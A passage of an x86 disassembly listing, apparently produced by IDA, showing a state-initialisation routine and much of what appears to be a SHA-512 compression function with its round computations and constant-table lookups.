CODE XREF: sub_41432A+4Aj mov cl, [eax] inc eax test cl, cl jnz short loc_41436F sub eax, esi push eax mov eax, [ebp+arg_0] push [ebp+arg_4] add eax, 0CAh push eax call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime add esp, 0Ch pop edi mov eax, ebx pop esi jmp short loc_414395 ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_41432A+1Fj xor eax, eax loc_414395: ; CODE XREF: sub_41432A+67j pop ebx pop ebp retn sub_41432A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4143A0 proc near ; CODE XREF: sub_41B7F9+64p xor ecx, ecx push esi push edi mov [eax+8], ecx mov [eax+0Ch], ecx mov [eax], ecx mov [eax+4], ecx lea edi, [eax+10h] mov ecx, 10h mov esi, offset dword_41FE50 rep movsd pop edi pop esi retn sub_4143A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4143D0 proc near ; CODE XREF: sub_416AE0+BEp ; sub_416AE0+13Bp ... var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 160h mov eax, [esp+160h+arg_0] mov edx, [eax+54h] push ebx mov [esp+164h+var_FC], edx mov edx, [eax+5Ch] push ebp push esi mov [esp+16Ch+var_10C], edx mov edx, [eax+64h] push edi lea esi, [eax+10h] mov [esp+170h+var_4], esi mov ecx, 10h lea edi, [esp+170h+var_158] rep movsd mov ecx, [eax+50h] mov [esp+170h+var_100], ecx mov ecx, [eax+58h] mov [esp+170h+var_110], ecx mov ecx, [eax+60h] mov [esp+170h+var_108], ecx mov ecx, [eax+68h] mov [esp+170h+var_104], edx mov edx, [eax+6Ch] mov [esp+170h+var_B8], ecx mov ecx, [eax+70h] mov [esp+170h+var_B4], edx mov edx, [eax+74h] mov [esp+170h+var_A8], ecx mov ecx, [eax+78h] mov [esp+170h+var_A4], edx mov edx, [eax+7Ch] mov [esp+170h+var_D0], ecx mov ecx, [eax+80h] mov [esp+170h+var_CC], edx mov edx, [eax+84h] mov esi, [eax+0C4h] mov [esp+170h+var_D8], ecx mov ecx, [eax+88h] mov [esp+170h+var_D4], edx mov edx, [eax+8Ch] mov [esp+170h+var_118], ecx mov ecx, [eax+90h] mov [esp+170h+var_114], edx mov edx, [eax+94h] mov [esp+170h+var_C8], ecx mov ecx, [eax+98h] mov [esp+170h+var_C4], edx mov edx, [eax+9Ch] mov [esp+170h+var_F0], ecx mov ecx, [eax+0A0h] mov [esp+170h+var_EC], edx mov edx, [eax+0A4h] mov [esp+170h+var_E8], ecx mov ecx, [eax+0A8h] mov [esp+170h+var_E4], edx mov edx, [eax+0ACh] mov [esp+170h+var_F8], ecx mov ecx, [eax+0B0h] mov [esp+170h+var_F4], edx mov edx, [eax+0B4h] mov [esp+170h+var_B0], ecx mov ecx, [eax+0B8h] mov [esp+170h+var_AC], edx mov edx, [eax+0BCh] mov [esp+170h+var_C0], ecx mov ecx, [eax+0C0h] mov [esp+170h+var_BC], edx mov edx, [eax+0C8h] mov eax, [eax+0CCh] xor edi, edi mov [esp+170h+var_15C], edi mov [esp+170h+var_A0], ecx mov [esp+170h+var_9C], esi mov [esp+170h+var_E0], edx mov [esp+170h+var_DC], eax jmp short loc_41456E ; --------------------------------------------------------------------------- align 10h loc_414560: ; CODE XREF: sub_4143D0+2680j mov ecx, [esp+170h+var_A0] mov esi, [esp+170h+var_9C] loc_41456E: ; CODE XREF: sub_4143D0+18Aj test edi, edi mov eax, [esp+170h+var_138] mov edx, [esp+170h+var_134] jz loc_414658 mov edi, ecx xor eax, eax mov ebx, esi shrd edi, ebx, 13h or eax, edi mov ebp, ecx mov edx, ecx mov edi, esi shld esi, ebp, 3 shr ebx, 13h shl edx, 0Dh or edx, ebx add ebp, ebp xor ebx, ebx or ebx, esi mov esi, [esp+170h+var_9C] shrd ecx, esi, 6 add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor eax, edi xor eax, ecx mov ecx, [esp+170h+var_10C] xor edx, ebx mov [esp+170h+var_160], eax mov eax, [esp+170h+var_110] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 shr esi, 6 xor edx, esi xor edi, edi or edi, ebx mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_10C] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_110] shrd ecx, eax, 7 shr eax, 7 xor edi, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+arg_0] xor edi, ecx mov ecx, [esp+170h+var_160] add ecx, edi adc edx, esi add ecx, [esp+170h+var_100] adc edx, [esp+170h+var_FC] add ecx, [esp+170h+var_F0] adc edx, [esp+170h+var_EC] mov [eax+50h], ecx mov [eax+54h], edx mov eax, edx mov edx, [esp+170h+var_134] mov [esp+170h+var_FC], eax mov [esp+170h+var_54], eax mov eax, [esp+170h+var_138] mov [esp+170h+var_100], ecx mov [esp+170h+var_58], ecx jmp short loc_41466E ; --------------------------------------------------------------------------- loc_414658: ; CODE XREF: sub_4143D0+1A8j mov ecx, [esp+170h+var_100] mov [esp+170h+var_58], ecx mov ecx, [esp+170h+var_FC] mov [esp+170h+var_54], ecx loc_41466E: ; CODE XREF: sub_4143D0+286j mov ebx, edx mov esi, edx xor edi, edi mov ecx, eax shld ebx, ecx, 17h or edi, ebx shl ecx, 17h xor ebx, ebx shr esi, 9 or esi, ecx mov ebp, eax shrd ebp, edx, 12h or ebx, ebp mov ebp, [esp+170h+var_134] xor esi, ebx shr edx, 12h mov ecx, eax shl ecx, 0Eh or ecx, edx xor edi, ecx xor ecx, ecx mov ebx, eax shrd ebx, ebp, 0Eh or ecx, ebx xor esi, ecx mov ecx, [esp+170h+var_134] shr ebp, 0Eh mov edx, eax shl edx, 12h or edx, ebp mov ebp, [esp+170h+var_130] xor edi, edx and ebp, eax mov edx, eax mov eax, [esp+170h+var_12C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_11C] not edx and edx, [esp+170h+var_128] not ebx and ebx, [esp+170h+var_124] xor edx, ebp xor ebx, eax mov eax, [esp+170h+var_15C] add esi, edx adc edi, ebx add esi, ds:dword_41F950[eax*8] adc edi, ds:dword_41F954[eax*8] add esi, [esp+170h+var_58] mov eax, [esp+170h+var_120] adc edi, [esp+170h+var_54] add eax, esi adc ecx, edi add [esp+170h+var_140], eax mov [esp+170h+var_11C], ecx mov [esp+170h+var_120], eax adc [esp+170h+var_13C], ecx mov eax, [esp+170h+var_154] mov ecx, [esp+170h+var_158] mov edx, ecx mov esi, ecx mov ebx, eax shrd edx, ebx, 1Ch xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp mov ecx, eax xor edi, edx xor esi, ebx shr ecx, 7 mov ebx, [esp+170h+var_158] mov ebp, eax shld ebp, ebx, 19h shl ebx, 19h or ecx, ebx xor edx, edx or edx, ebp mov ebp, [esp+170h+var_14C] xor edi, ecx mov ecx, [esp+170h+var_150] xor esi, edx mov edx, [esp+170h+var_158] mov ebx, ecx xor ebx, edx and ebx, [esp+170h+var_148] and ecx, edx mov edx, [esp+170h+var_14C] xor ebp, eax and ebp, [esp+170h+var_144] and edx, eax xor ebx, ecx xor ebp, edx add edi, ebx adc esi, ebp add [esp+170h+var_120], edi adc [esp+170h+var_11C], esi cmp [esp+170h+var_15C], 0 jz loc_414884 mov eax, [esp+170h+var_E0] mov ecx, [esp+170h+var_DC] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_DC] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_108] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_104] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_108] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_104] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_E8] adc edx, [esp+170h+var_E4] add ecx, [esp+170h+var_110] adc edx, [esp+170h+var_10C] mov [eax+58h], ecx mov [eax+5Ch], edx mov eax, edx mov [esp+170h+var_110], ecx mov [esp+170h+var_10C], eax mov [esp+170h+var_28], ecx jmp short loc_414893 ; --------------------------------------------------------------------------- loc_414884: ; CODE XREF: sub_4143D0+3D5j mov edx, [esp+170h+var_110] mov eax, [esp+170h+var_10C] mov [esp+170h+var_28], edx loc_414893: ; CODE XREF: sub_4143D0+4B2j mov ecx, [esp+170h+var_13C] mov ebx, ecx mov [esp+170h+var_24], eax mov eax, [esp+170h+var_140] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_13C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_13C] mov ebx, ecx and ecx, [esp+170h+var_134] mov edi, eax and eax, [esp+170h+var_138] not ebx and ebx, [esp+170h+var_12C] not edi and edi, [esp+170h+var_130] xor ebx, ecx mov ecx, [esp+170h+var_124] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_41F958[eax*8] adc esi, ds:dword_41F95C[eax*8] add edx, [esp+170h+var_28] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_24] add eax, edx adc ecx, esi add [esp+170h+var_148], eax mov [esp+170h+var_124], ecx mov [esp+170h+var_128], eax adc [esp+170h+var_144], ecx mov eax, [esp+170h+var_11C] mov ecx, [esp+170h+var_120] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_120] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_154] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_158] xor edi, ecx mov ecx, [esp+170h+var_120] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_150] and edx, ecx mov ecx, [esp+170h+var_154] xor ebp, eax and ebp, [esp+170h+var_14C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_128], edi adc [esp+170h+var_124], esi cmp [esp+170h+var_15C], 0 jz loc_414AAE mov eax, [esp+170h+var_B8] mov ecx, [esp+170h+var_B4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_B4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_100] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_FC] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_100] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_FC] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_F8] adc edx, [esp+170h+var_F4] add ecx, [esp+170h+var_108] adc edx, [esp+170h+var_104] mov [eax+60h], ecx mov [eax+64h], edx mov eax, edx mov [esp+170h+var_108], ecx mov [esp+170h+var_104], eax mov [esp+170h+var_70], ecx jmp short loc_414ABD ; --------------------------------------------------------------------------- loc_414AAE: ; CODE XREF: sub_4143D0+605j mov edx, [esp+170h+var_108] mov eax, [esp+170h+var_104] mov [esp+170h+var_70], edx loc_414ABD: ; CODE XREF: sub_4143D0+6DCj mov ecx, [esp+170h+var_144] mov ebx, ecx mov [esp+170h+var_6C], eax mov eax, [esp+170h+var_148] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_144] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_144] mov ebx, ecx and ecx, [esp+170h+var_13C] mov edi, eax and eax, [esp+170h+var_140] not ebx and ebx, [esp+170h+var_134] not edi and edi, [esp+170h+var_138] xor ebx, ecx mov ecx, [esp+170h+var_12C] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_41F960[eax*8] adc esi, ds:dword_41F964[eax*8] add edx, [esp+170h+var_70] mov eax, [esp+170h+var_130] adc esi, [esp+170h+var_6C] add eax, edx adc ecx, esi add [esp+170h+var_150], eax mov [esp+170h+var_12C], ecx mov [esp+170h+var_130], eax adc [esp+170h+var_14C], ecx mov eax, [esp+170h+var_124] mov ecx, [esp+170h+var_128] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_128] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_11C] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_120] xor edi, ecx mov ecx, [esp+170h+var_128] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_158] and edx, ecx mov ecx, [esp+170h+var_11C] xor ebp, eax and ebp, [esp+170h+var_154] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_130], edi adc [esp+170h+var_12C], esi cmp [esp+170h+var_15C], 0 jz loc_414CEA mov eax, [esp+170h+var_A8] mov ecx, [esp+170h+var_A4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_A4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_110] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_10C] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_110] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_10C] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_B0] adc edx, [esp+170h+var_AC] add ecx, [esp+170h+var_B8] adc edx, [esp+170h+var_B4] mov [eax+68h], ecx mov [eax+6Ch], edx mov eax, edx mov [esp+170h+var_B8], ecx mov [esp+170h+var_B4], eax mov [esp+170h+var_38], ecx jmp short loc_414CFF ; --------------------------------------------------------------------------- loc_414CEA: ; CODE XREF: sub_4143D0+82Fj mov edx, [esp+170h+var_B8] mov eax, [esp+170h+var_B4] mov [esp+170h+var_38], edx loc_414CFF: ; CODE XREF: sub_4143D0+918j mov ecx, [esp+170h+var_14C] mov ebx, ecx mov [esp+170h+var_34], eax mov eax, [esp+170h+var_150] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_14C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_148] xor esi, ecx mov ecx, [esp+170h+var_14C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_144] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_134] not ebx and ebx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_140] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F968[eax*8] adc esi, ds:dword_41F96C[eax*8] add edx, [esp+170h+var_38] mov eax, [esp+170h+var_138] adc esi, [esp+170h+var_34] add eax, edx adc ecx, esi add [esp+170h+var_158], eax mov [esp+170h+var_134], ecx mov [esp+170h+var_138], eax adc [esp+170h+var_154], ecx mov ecx, [esp+170h+var_130] mov eax, [esp+170h+var_12C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_130] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_124] shl ebx, 19h xor esi, edx mov edx, [esp+170h+var_128] mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_130] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_120] and edx, ecx mov ecx, [esp+170h+var_124] xor ebp, eax and ebp, [esp+170h+var_11C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_138], edi adc [esp+170h+var_134], esi cmp [esp+170h+var_15C], 0 jz loc_414F30 mov eax, [esp+170h+var_D0] mov ecx, [esp+170h+var_CC] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_CC] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_108] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_104] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_108] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_104] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_C0] adc edx, [esp+170h+var_BC] add ecx, [esp+170h+var_A8] adc edx, [esp+170h+var_A4] mov [eax+70h], ecx mov [eax+74h], edx mov eax, edx mov [esp+170h+var_A8], ecx mov [esp+170h+var_A4], eax mov [esp+170h+var_88], ecx jmp short loc_414F45 ; --------------------------------------------------------------------------- loc_414F30: ; CODE XREF: sub_4143D0+A75j mov edx, [esp+170h+var_A8] mov eax, [esp+170h+var_A4] mov [esp+170h+var_88], edx loc_414F45: ; CODE XREF: sub_4143D0+B5Ej mov ecx, [esp+170h+var_154] mov [esp+170h+var_84], eax mov eax, [esp+170h+var_158] mov ebx, ecx xor esi, esi mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h mov edx, ecx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h xor ebx, ebx or ebx, ebp mov ebp, [esp+170h+var_154] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h shr ebp, 0Eh or ecx, ebp mov ebp, [esp+170h+var_150] xor esi, ecx mov ecx, [esp+170h+var_154] and ebp, eax mov edi, eax mov eax, [esp+170h+var_14C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_144] xor edi, ebp xor ebx, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_41F970[eax*8] mov edi, [esp+170h+var_12C] adc esi, ds:dword_41F974[eax*8] add edx, [esp+170h+var_88] mov eax, [esp+170h+var_140] adc esi, [esp+170h+var_84] add eax, edx adc ecx, esi add [esp+170h+var_120], eax mov esi, [esp+170h+var_130] mov [esp+170h+var_140], eax adc [esp+170h+var_11C], ecx mov [esp+170h+var_13C], ecx mov ecx, [esp+170h+var_138] mov eax, esi xor eax, ecx mov [esp+170h+var_98], eax mov eax, [esp+170h+var_134] mov edx, edi xor edx, eax mov [esp+170h+var_94], edx mov edx, esi and edx, ecx mov [esp+170h+var_90], edx mov edx, edi and edx, eax mov [esp+170h+var_8C], edx mov edx, ecx xor esi, esi shl edx, 4 mov edi, ecx mov ebx, eax shrd edi, ebx, 1Ch shr ebx, 1Ch or edx, ebx or esi, edi mov ebp, eax shld ebp, ecx, 1Eh xor ebx, ebx shl ecx, 1Eh or ebx, ebp mov edi, eax xor edx, ebx mov ebx, [esp+170h+var_138] shr edi, 2 or edi, ecx mov ecx, eax shld eax, ebx, 19h xor esi, edi shr ecx, 7 xor edi, edi or edi, eax mov eax, [esp+170h+var_98] and eax, [esp+170h+var_128] shl ebx, 19h xor eax, [esp+170h+var_90] or ecx, ebx xor esi, ecx mov ecx, [esp+170h+var_94] and ecx, [esp+170h+var_124] xor edx, edi xor ecx, [esp+170h+var_8C] add esi, eax adc edx, ecx add [esp+170h+var_140], esi adc [esp+170h+var_13C], edx cmp [esp+170h+var_15C], 0 jz loc_4151B2 mov eax, [esp+170h+var_B8] mov ecx, [esp+170h+var_B4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_B4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_D8] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_D4] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_D8] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_D4] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D0] adc edx, [esp+170h+var_CC] add ecx, [esp+170h+var_A0] adc edx, [esp+170h+var_9C] mov [eax+78h], ecx mov [eax+7Ch], edx mov eax, edx mov [esp+170h+var_D0], ecx mov [esp+170h+var_CC], eax mov [esp+170h+var_60], ecx jmp short loc_4151C7 ; --------------------------------------------------------------------------- loc_4151B2: ; CODE XREF: sub_4143D0+CEBj mov edx, [esp+170h+var_D0] mov eax, [esp+170h+var_CC] mov [esp+170h+var_60], edx loc_4151C7: ; CODE XREF: sub_4143D0+DE0j mov ecx, [esp+170h+var_11C] mov ebx, ecx mov [esp+170h+var_5C], eax mov eax, [esp+170h+var_120] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_11C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh shr ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_158] xor esi, ecx mov ecx, [esp+170h+var_11C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_154] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_14C] not edi and edi, [esp+170h+var_150] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F978[eax*8] adc esi, ds:dword_41F97C[eax*8] add edx, [esp+170h+var_60] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_5C] add ecx, edx mov edx, [esp+170h+var_144] adc edx, esi add eax, ecx adc [esp+170h+var_124], edx mov [esp+170h+var_148], ecx mov ecx, [esp+170h+var_140] mov [esp+170h+var_144], edx mov edx, [esp+170h+var_13C] mov ebx, ecx mov ebp, edx shrd ebx, ebp, 1Ch xor edi, edi or edi, ebx mov esi, ecx mov ebx, edx shld edx, ecx, 1Eh shr ebp, 1Ch shl esi, 4 or esi, ebp shr ebx, 